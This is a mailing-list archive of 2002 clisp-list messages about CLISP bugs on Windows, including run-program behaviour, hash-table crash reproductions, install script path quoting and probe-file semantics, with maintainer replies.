16dwmx-0004lw-00 for ; Thu, 21 Feb 2002 09:13:47 -0800 Received: from gnu.org ([151.203.224.254]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020221171345.WFYN12982.out008.verizon.net@gnu.org>; Thu, 21 Feb 2002 11:13:45 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re:[clisp-list]Q: problem with run-programm in Win32 (:indirectp documentation, :wait & %s in message) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 52 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 21 09:14:21 2002 X-Original-Date: 21 Feb 2002 12:10:30 -0500 > * In message > * On the subject of "[clisp-list] Re:[clisp-list]Q: problem with run-prog= ramm in Win32 (:indirectp documentation, :wait & %s in message)" > * Sent on Thu, 21 Feb 2002 10:05:01 +0100 > * Honorable "Hoehle, Joerg-Cyril" writ= es: > > Why does one see [%s: 10790] and somebody else [pathname.d:11395]? this was a bug, fixed on 2001-12-20 by Arseny Slobodjuck > > [7]> (run-program "dir" :indirect t) >=20 > Good to know that shell internal programs can be run as well. this is now documented in the impnotes and will be available with the next release. > Where is the CLISP FAQ? :-) not yet -- any volunteers? the FAQ should be a map "question --> impnotes reference". it should be written in XHTML. > BTW, does :WAIT really work on MS-Windows?? The code appends a " &" > after the command, something I only know from UNIX shells. Is there a > few #+UNIX missing in runprog.lisp? you can use bash on win32 too. (setenv COMSPEC) > What does indirectp mean to the user? > cmd.exe /? says: > /C F=FChrt den Befehl in der Zeichenfolge aus und endet dann. > ~ "Execute command in string and end." What's indirect about that? > It seems to be the equivalent of UNIX /bin/[[t]c]sh -c > Shouldn't that be the default for something called "run-SHELL-command"? on win32, CLISP does _not_ start a shell to execute something, by default. i.e., SHELL does not necessarily invoke COMSPEC. the _semantics_ of SHELL is the same on all platforms, but the _implementation_ is different. > I'm using the CLISP-2.27-win32 binary distribution on a MS-W*2k system. this is very old. we _are_ overdue for a release. --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! PI seconds is a nanocentury From bill_clementson@yahoo.com Thu Feb 21 09:48:29 2002 Received: from web10401.mail.yahoo.com ([216.136.130.93]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dxKX-00058f-00 for ; Thu, 21 Feb 2002 09:48:29 -0800 Message-ID: <20020221174825.27629.qmail@web10401.mail.yahoo.com> Received: from [208.142.210.30] by web10401.mail.yahoo.com via HTTP; Thu, 21 Feb 2002 09:48:25 PST From: Bill Clementson To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-699583374-1014313705=:25938" Subject: [clisp-list] Next release of CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 21 09:49:03 2002 X-Original-Date: Thu, 21 Feb 2002 09:48:25 -0800 (PST) --0-699583374-1014313705=:25938 Content-Type: text/plain; charset=us-ascii I am preparing a set of instructions for setting up a Lisp development environment on Windows with configuration information for clisp/ilisp, acl/eli, corman/eshell & lw/ilisp for the Common Lisp Cookbook: http://cl-cookbook.sourceforge.net/windows.html Sam Steingold rightly pointed out some problems with my CLISP installation instructions in his posting to comp.lang.lisp: http://groups.google.com/groups?hl=en&threadm=wksn7vwgcq.fsf%40attbi.com&prev=/groups%3Foi%3Ddjq%26as_ugroup%3Dcomp.lang.lisp As I mentioned in my reply to his posting, I had some problems with the install.bat (actually install.lisp) installation. I just checked and see that a fix is already in CVS. I also pointed out (in an earlier email) that the clisp-indent.el file isn't available in the standard Windows distribution & Sam indicated that it would be included in the next release. I would like to update my instructions to allow users to correctly install CLISP on a Windows PC. I can do one of the following: 1. Include instructions on how to download the cvs version of clisp-indent.el (I do this already) and install.lisp (I don't do this - are there any dependencies that would make this not work properly if downloaded & installed on the standard CLISP 2.27 Windows distribution?). 2. Change my instructions to refer to CLISP 2.28 which includes the necessary fixes. The only problem is that 2.28 hasn't been released yet :-( However, Sam alluded to the fact that it's been a while since the Windows distribution has been updated in an earlier (unrelated) message: > > I'm using the CLISP-2.27-win32 binary distribution on a > MS-W*2k system. > > this is very old. > we _are_ overdue for a release. > Any chance that a new release will occur sometime soon (in the next few days)? -- Bill Clementson --------------------------------- Do You Yahoo!? Yahoo! Sports - Coverage of the 2002 Olympic Games --0-699583374-1014313705=:25938 Content-Type: text/html; charset=us-ascii

I am preparing a set of instructions for setting up a Lisp development environment on Windows with configuration information for clisp/ilisp, acl/eli, corman/eshell & lw/ilisp for the Common Lisp Cookbook:

http://cl-cookbook.sourceforge.net/windows.html

Sam Steingold rightly pointed out some problems with my CLISP installation instructions in his posting to comp.lang.lisp:

http://groups.google.com/groups?hl=en&threadm=wksn7vwgcq.fsf%40attbi.com&prev=/groups%3Foi%3Ddjq%26as_ugroup%3Dcomp.lang.lisp

As I mentioned in my reply to his posting, I had some problems with the install.bat (actually install.lisp) installation. I just checked and see that a fix is already in CVS. I also pointed out (in an earlier email) that the clisp-indent.el file isn't available in the standard Windows distribution & Sam indicated that it would be included in the next release.

I would like to update my instructions to allow users to correctly install CLISP on a Windows PC. I can do one of the following:

1. Include instructions on how to download the cvs version of clisp-indent.el (I do this already) and install.lisp (I don't do this - are there any dependencies that would make this not work properly if downloaded & installed on the standard CLISP 2.27 Windows distribution?).

2. Change my instructions to refer to CLISP 2.28 which includes the necessary fixes. The only problem is that 2.28 hasn't been released yet :-( However, Sam alluded to the fact that it's been a while since the Windows distribution has been updated in an earlier (unrelated) message:

> > I'm using the CLISP-2.27-win32 binary distribution on a
> MS-W*2k system.
>
> this is very old.
> we _are_ overdue for a release.
>

Any chance that a new release will occur sometime soon (in the next few days)?

--

Bill Clementson



Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games --0-699583374-1014313705=:25938-- From lin8080@freenet.de Thu Feb 21 11:34:28 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dyz4-0006zP-00 for ; Thu, 21 Feb 2002 11:34:26 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #3) id 16dyz1-0001KY-00 for clisp-list@lists.sourceforge.net; Thu, 21 Feb 2002 20:34:23 +0100 Received: from a8819.pppool.de ([213.6.136.25] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #3) id 16dyz0-0008Cx-00 for clisp-list@lists.sourceforge.net; Thu, 21 Feb 2002 20:34:22 +0100 Message-ID: <3C750603.21FF1E79@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de]C-freenet 4.0 (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 CC: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Q:problem with run-programm in Win32 (:indirectp documentation..) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 21 11:35:06 2002 X-Original-Date: Thu, 21 Feb 2002 15:36:51 +0100 Hallo > BTW, there's some unrelated bug showing, and some lack of documentation: >> lin8080 [Stefan] reports: >> [1]> (shell "dir") >> [pathname.d:11395] >> *** - Win32 error 2 (ERROR_FILE_NIT_FOUND): The system cannot find the ^^^ is that really copy&paste?? This is my typo. I am sorry for that. The copy and past did not work out of the DOS-box. And still I do not look for a way to something like ~(save-to-file "output.txt"). So I typed the messages into the E-Mail-text-window. (see error-typo in line [7]). the _NIT should be _NOT. Later on I tried some more. When (execute "editor.exe") is run, the CLisp-Dosbox shows a single "_" (not blinking) until the Programm editor.exe is close / finished. Then the CLisp-dosbox shows the cursor in a normal new line like "[9]> _". I also tried some different ways : (execute "clisp.bat" (execute "editor.exe")) ; for example. Should open a new CLisp-dosbox and run there the editor.exe, so I thought. But this did not work. The editor was opened and after closing the editor.exe, I saw the error *** - A file with name T does not exist followed by T in a new line and the usual prompt in the next line. I guess it is the MS Command.com, who says "take first *.exe, then *.com, then *.bat, else print error", but also it is possible last return-value from CLisp. Now I copied the file "clisp.bat" to "T" and start again (same session). (The file-manager shows the new file T). But I get another error: *** - EVAL: variable @ECHO has no value For this I do not know, what happened, but assume, that CLisp is asking whether there is always a valid dosbox opened. When I change the commands to (write first the exe and last the bat): (execute "editor.exe" (execute "clisp.bat")) this will open a new CLisp-session in the existing dosbox, or better say restart the CLisp program (line-number start with [1]) and no editor.exe was executed). So I did this: ((execute "clisp.bat")(execute "editor.exe")) and I see an blinking cursor in a new line "_" and nothing more happend, but windows says close this. I typed in "ctrl + c" and saw this: *** - handle_fault error2 ! address = 0x41C87000 not in [0x1A430000,0x1A4D3468)! *** - handle_fault error2 ! address = 0x41c782B0 not in [0x1A430000,0x1A4D3468)! *** - handle_fault error2 ! address = 0x41C80170 not in [0x1A430000,0x1A4d3468)! !*** - *** - handle_fault error2 ! address = 0x41C789F8 not in [0x1A430000,0x1A4D3468)!SYSTEM::STRING-READER: Ctrl-C: User break SIGSEGV cannot be cured. Fault address = 0x41C87000. SIGSEGV cannot be cured. Fault address = 0x41C782B0. SIGSEGV cannot be cured. Fault address = 0x41C80170. SIGSEGV cannot be cured. Fault address = 0x41C789F8. 1. Break [5]>_ The CLisp cursor is blinking in his dosbox, but windows means: This program has performed an illegal operation and will be shut down. [close]. Ignoring this, a backtrace shows: -NIL. And the CLisp-dosbox seems to work normal. But I closed it with exit and I saw the normal Bye., a "T" in a new line and the cursor with [2]>_ . A 2nd (exit) does open the editor.exe and in the editor I saw the content of the file T (the copy of clisp.bat). I closed the editor and give the 3rd (exit), it prints the bye. and opend again the editor. I repeat the procedure and get wondering (all execute commands are done, not only the last / newest). The 4th (exit), thats it. Then I clicked on the win-error close and wrote a notice on a paper. Now next day I repeat the typings in this mail and it is the same (except the memory-values). Is there something else to test ? When I find time, I take a look at the Hyperspec about the execute-command, to see the :words and some more infos. Also looking for a way, to see the content of that ~execute-list. stefan From samuel.steingold@verizon.net Thu Feb 21 11:38:38 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16dz37-000820-00 for ; Thu, 21 Feb 2002 11:38:37 -0800 Received: from gnu.org ([151.203.224.254]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020221193836.WZGU9330.out011.verizon.net@gnu.org>; Thu, 21 Feb 2002 13:38:36 -0600 To: Bill Clementson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Next release of CLISP? References: <20020221174825.27629.qmail@web10401.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020221174825.27629.qmail@web10401.mail.yahoo.com> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 21 11:39:07 2002 X-Original-Date: 21 Feb 2002 14:35:19 -0500 > * In message <20020221174825.27629.qmail@web10401.mail.yahoo.com> > * On the subject of "[clisp-list] Next release of CLISP?" > * Sent on Thu, 21 Feb 2002 09:48:25 -0800 (PST) > * Honorable Bill Clementson writes: > > 1. Include instructions on how to download the cvs version of > clisp-indent.el (I do this already) and install.lisp (I don't do this > - are there any dependencies that would make this not work properly if > downloaded & installed on the standard CLISP 2.27 Windows > distribution?). no > Any chance that a new release will occur sometime soon (in the next few days)? no -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! There are two ways to write error-free programs; only the third one works. From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 22 00:16:59 2002 Received: from [62.225.183.235] (helo=mail1.telekom.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16eAt0-00042p-00 for ; Fri, 22 Feb 2002 00:16:59 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 22 Feb 2002 09:15:13 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1ZR5T8KN>; Fri, 22 Feb 2002 09:16:49 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] please report whether your CLISP crashes on my 9nines example Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 22 00:17:11 2002 X-Original-Date: Fri, 22 Feb 2002 09:16:21 +0100 Hi, I submitted a bug-report about a crash, Sam cannot reproduce it. = However I still can. http://sourceforge.net/tracker/?func=3Ddetail&aid=3D514805&group_id=3D13= 55&atid=3D101355 Please try out the following and report either to me or Sam what your = CLISP is and how it behaves. I think it's not necessary to respond to = the whole list. I believe neither the stack overflow nor the crash are normal = behaviour. I use clisp-2.27-win32 (binary distribution). Thanks for participating, J=F6rg H=F6hle. ;; These rehash-sizes crash CLISP-2.27-win32k ;; 17.0f0 19.0s0 21.0s0 22.0s0 ;; These ones work ;; 9.0s0 13.0s0 15.0s0 ;; Non-deterministic crashes (i.e. may work) occur with: ;; 16.0f0 16.0l0 ;; NB: only (ext:space ..) causes "unknown SW exception". Without it, ;; there's just the "program stack overflow". ;; Joerg Hoehles version: only positives: halves size and doubles speed ;; Based on Bruce Hoult's posting to cll "Cute Little Problem" ;; Best :rehash-size seems to be 9.0s0 (defun nines (&optional (rehash-size 21.0s0)) (declare (optimize (speed 3) (safety 1))) (let ((nums (make-array 10 :initial-contents (loop repeat 10 collect (make-hash-table :size 450 :rehash-size rehash-size))))) (setf (gethash 9 (svref nums 1)) t) (loop for n from 2 below 10 as h =3D (svref nums n) do;; start [*] (loop for p from 1 to (floor n 2) do (loop for a being the hash-keys of (svref nums p) do (loop for b being the hash-keys of (svref nums (- n p)) do (setf (gethash (+ a b) h) t (gethash (* a b) h) t (gethash (abs (- a b)) h) t) unless (zerop b) do (setf (gethash (/ a b) h) t) unless (zerop a) do (setf (gethash (/ b a) h) t)))) collect (hash-table-size h) collect ;; no format, just return result (loop for i from 1 unless (gethash i h) do (return i))))) #| [2]> (load "9nines" :compiling t) [3]> (nines) *** - Program stack overflow. RESET [4]> (nines 9.0s0) (450 2 450 1 450 4 450 13 4050 22 4050 33 36450 103 36450 195) [5]> (nines 13.0s0) (450 2 450 1 450 4 450 13 5850 22 5850 33 76050 103 76050 195) [6]> (ext:space (nines)) *** - Program stack overflow. RESET Plus additional window: unknown software exception (0xc0000094) at = 0x004e8ad0. "Integer divide by zero" Process inferior-lisp exited abnormally with code 148 [Restart] [4]> (nines 22.0s0) *** - Program stack overflow. RESET [5]> (nines 19.0s0) *** - Program stack overflow. RESET [6]> (nines 15.0s0) (450 2 450 1 450 4 450 13 6750 22 6750 33 101250 103 101250 195) [22]> (dotimes (i 10) (print i) (nines 33.0s0)) 0=20 1=20 *** - Program stack overflow. RESET [32]> (ext:space (nines 33.0s0)) *** - Program stack overflow. RESET *** - CAR: :ADJUSTABLE is not a list 1. Break [33]>=20 > (dotimes (i 10) (print i) (nines 16.0s0)) |# From bill_clementson@yahoo.com Fri Feb 22 10:21:36 2002 Received: from web10405.mail.yahoo.com ([216.136.130.97]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16eKK7-0008IG-00 for ; Fri, 22 Feb 2002 10:21:35 -0800 Message-ID: <20020222182135.77221.qmail@web10405.mail.yahoo.com> Received: from [12.253.95.235] by web10405.mail.yahoo.com via HTTP; Fri, 22 Feb 2002 10:21:35 PST From: Bill Clementson To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1441936704-1014402095=:76586" Subject: [clisp-list] Problem with install.lisp in Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 22 10:22:14 2002 X-Original-Date: Fri, 22 Feb 2002 10:21:35 -0800 (PST) --0-1441936704-1014402095=:76586 Content-Type: text/plain; charset=us-ascii The install.lisp program (in CVS) creates a batch file for starting CLISP in Windows. However, if CLISP is installed in a directory that has spaces in it's name (e.g. - "c:\Program Files\clisp-2.27", the batch file will not work correctly. When a directory name has spaces in it, the entire path & file should be surrounded by quotes (e.g. - "c:\Program Files\clisp-2.27\lisp.exe" -B etc). Since Windows users typically install programs in the c:\Program Files\ directory, the install.lisp program should probably account for this. For the time being, the work-arounds are to do one of the following: 1. Install clisp in a directory where this is not an issue (e.g. - c:\clisp or c:\home\bin\clisp) 2. Manually modify the clisp.bat file that is created by the install.lisp program to include the quotes -- Bill Clementson --------------------------------- Do You Yahoo!? Yahoo! Sports - Coverage of the 2002 Olympic Games --0-1441936704-1014402095=:76586 Content-Type: text/html; charset=us-ascii

The install.lisp program (in CVS) creates a batch file for starting CLISP in Windows. However, if CLISP is installed in a directory that has spaces in it's name (e.g. - "c:\Program Files\clisp-2.27", the batch file will not work correctly. When a directory name has spaces in it, the entire path & file should be surrounded by quotes (e.g. - "c:\Program Files\clisp-2.27\lisp.exe" -B etc). Since Windows users typically install programs in the c:\Program Files\ directory, the install.lisp program should probably account for this. For the time being, the work-arounds are to do one of the following:

1. Install clisp in a directory where this is not an issue (e.g. - c:\clisp or c:\home\bin\clisp)
2. Manually modify the clisp.bat file that is created by the install.lisp program to include the quotes

--
Bill Clementson



Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games --0-1441936704-1014402095=:76586-- From samuel.steingold@verizon.net Fri Feb 22 18:28:10 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16eRuy-0004Rr-00 for ; Fri, 22 Feb 2002 18:28:08 -0800 Received: from gnu.org ([151.203.224.254]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020223022804.DVUV9330.out011.verizon.net@gnu.org>; Fri, 22 Feb 2002 20:28:04 -0600 To: Bill Clementson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem with install.lisp in Windows References: <20020222182135.77221.qmail@web10405.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020222182135.77221.qmail@web10405.mail.yahoo.com> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 22 18:29:01 2002 X-Original-Date: 22 Feb 2002 21:24:42 -0500 > * In message <20020222182135.77221.qmail@web10405.mail.yahoo.com> > * On the subject of "[clisp-list] Problem with install.lisp in Windows" > * Sent on Fri, 22 Feb 2002 10:21:35 -0800 (PST) > * Honorable Bill Clementson writes: > > The install.lisp program (in CVS) creates a batch file for starting > CLISP in Windows. However, if CLISP is installed in a directory that > has spaces in it's name (e.g. - "c:\Program Files\clisp-2.27", the > batch file will not work correctly. oops - my fault (I always put CLISP in c:/gnu/clisp)... just fixed it in the CVS thanks for such thorough testing! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Lisp is a language for doing what you've been told is impossible. - Kent Pitman From ampy@ich.dvo.ru Fri Feb 22 19:06:53 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16eSWK-00033B-00 for ; Fri, 22 Feb 2002 19:06:44 -0800 Received: (qmail 19821 invoked from network); 23 Feb 2002 03:06:36 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 23 Feb 2002 03:06:36 -0000 Received: from 192.168.0.116 [192.168.0.116] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Sat, 23 Feb 2002 13:05:44 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <441363670.20020223130614@ich.dvo.ru> To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please report whether your CLISP crashes on my 9nines example In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 22 19:07:07 2002 X-Original-Date: Sat, 23 Feb 2002 13:06:14 +1000 Hi, I simplified yor code a bit: (let ((h (make-hash-table :size 123000))) (loop for i from 1 to 10000 do (when (or (zerop (mod i 100)) (= i 1)) (unless (= i 1) (loop for i from 1 to 29 do (princ #\Backspace))) (format t "Checking ~7D size ~7D" i (hash-table-size h))) (setf (gethash i h) t))) Still crashes stack in NT. FreeBSD ok. It's seems that when hash-table-size becomes about 120000 - 130000 clisp cannot handle it while "hash table too large" error doesn't arise. To check this you need quite a computer though. Also I noticed that integer rehash-sizes behaves as it was 2.0 (Both in FreeBSD and NT). That's a test (let ((h (make-hash-table :size 1 :rehash-size 1000))) (loop for i from 1 to 20 do (setf (gethash i h) t) (format t "Checking ~2D size ~D~%" i (hash-table-size h)))) -- Best regards, Arseny mailto:ampy@ich.dvo.ru From peter.wood@worldonline.dk Sat Feb 23 09:04:02 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16efaa-0005KS-00 for ; Sat, 23 Feb 2002 09:04:01 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 6B1B0B4F7 for ; Sat, 23 Feb 2002 18:03:57 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g1NGo1E07092; Sat, 23 Feb 2002 17:50:01 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] probe-file bug Message-ID: <20020223175001.A7074@localhost.localdomain> References: <20020215191211.A225@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Mon, Feb 18, 2002 at 12:59:53AM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 23 09:05:01 2002 X-Original-Date: Sat, 23 Feb 2002 17:50:01 +0100 On Mon, Feb 18, 2002 at 12:59:53AM -0500, Sam Steingold wrote: > > * Sent on Fri, 15 Feb 2002 19:12:11 +0100 > > * Honorable Peter Wood writes: > > > > [2]> (probe-file #"/home/prw/.inputrc") > > > > *** - no file name given: #P"/home/prw/.inputrc" > > this is a feature, not a bug. > > > #".foo" > ==> > #S(PATHNAME :HOST NIL :DEVICE NIL :DIRECTORY (:RELATIVE) :NAME NIL :TYPE "foo" > :VERSION NIL) > Hi, After due reflection and experimentation, I have to say I disagree. I was going to ask about this on CLL but after a pause from it, reading the last 100 or so messages made me feel distinctly sick. Even sicker than reading up on the pathnames section of the hyperspec. On unix, a filename does _not_ have the sort of type which Clisp is insisting on. Also, a directory is not radically different to a file, so why can't #'probe-file take a directory? It can on all the other lisp implementations to which I have access (Gcl, CMUCL, Lispworks Personal and Allegro trial). On all the mentioned implementations (probe-file X) where X can be a string naming a directory or file, with or without a trailing slash in the case of a directory, works just fine as a test for the existence of X, and where the return value can be used sensibly. I have to jump through rings to get something like it to work on Clisp, and chuck portability out the window. Please don't quote the spec at me, because Clisp needs ext:probe-directory to help in cases like this, and don't refer me to CLL - I've had my year's fill of old farts rambling about VAX and multics and LispM's filesystems. Maybe its not a bug. It's certainly NOT a feature. Regards, Peter From samuel.steingold@verizon.net Sat Feb 23 10:02:19 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16egV0-0003Ro-00 for ; Sat, 23 Feb 2002 10:02:18 -0800 Received: from gnu.org ([151.203.224.254]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020223180147.THLN18285.out006.verizon.net@gnu.org>; Sat, 23 Feb 2002 12:01:47 -0600 To: Stig E Sandoe Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems References: <20020221174011.A1290@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020221174011.A1290@apal.ii.uib.no> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Feb 23 10:03:02 2002 X-Original-Date: 23 Feb 2002 12:58:59 -0500 > * In message <20020221174011.A1290@apal.ii.uib.no> > * On the subject of "[clisp-list] REINITIALIZE-INSTANCE problems" > * Sent on Thu, 21 Feb 2002 17:40:12 +0100 > * Honorable Stig E Sandoe writes: > > *** - handle_fault error2 ! address = 0x4556454F not in > [0x202A6000,0x2036220C) ! > SIGSEGV cannot be cured. Fault address = 0x4556454F. > Segmentation fault (core dumped) just fixed this in the CVS. thanks for the bug report. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Those who can't write, write manuals. From stig@ii.uib.no Sat Feb 23 10:10:10 2002 Received: from eik.ii.uib.no ([129.177.16.3] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16egcZ-0004Cx-00 for ; Sat, 23 Feb 2002 10:10:07 -0800 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 16egcP-0000ky-00 ; Sat, 23 Feb 2002 19:09:57 +0100 Received: (from stig@localhost) by apal.ii.uib.no (8.11.6+Sun/8.11.6) id g1NI9qK02059; Sat, 23 Feb 2002 19:09:52 +0100 (MET) From: Stig E Sandoe To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REINITIALIZE-INSTANCE problems Message-ID: 